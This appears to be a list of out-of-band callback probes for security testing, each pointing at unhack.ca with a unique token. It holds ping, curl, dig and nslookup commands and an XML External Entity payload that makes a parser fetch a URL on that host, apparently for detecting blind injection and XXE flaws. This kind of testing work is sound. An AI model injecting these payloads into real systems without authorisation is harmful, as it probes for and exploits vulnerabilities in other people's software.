$ ping -c1 -p 0045bfa309ffd74904ad05afb0a50b00 unhack.ca
 

$ curl http://unhack.ca/p/45bfa309ffd74904ad05afb0a50b
 

$ dig 45bfa309ffd74904ad05afb0a50b @unhack.ca
 

$ dig 45bfa309ffd74904ad05afb0a50b.ns.unhack.ca
 

C:\> nslookup 45bfa309ffd74904ad05afb0a50b unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/45bfa309ffd74904ad05afb0a50b">]>
    <foo>&xxe;</foo>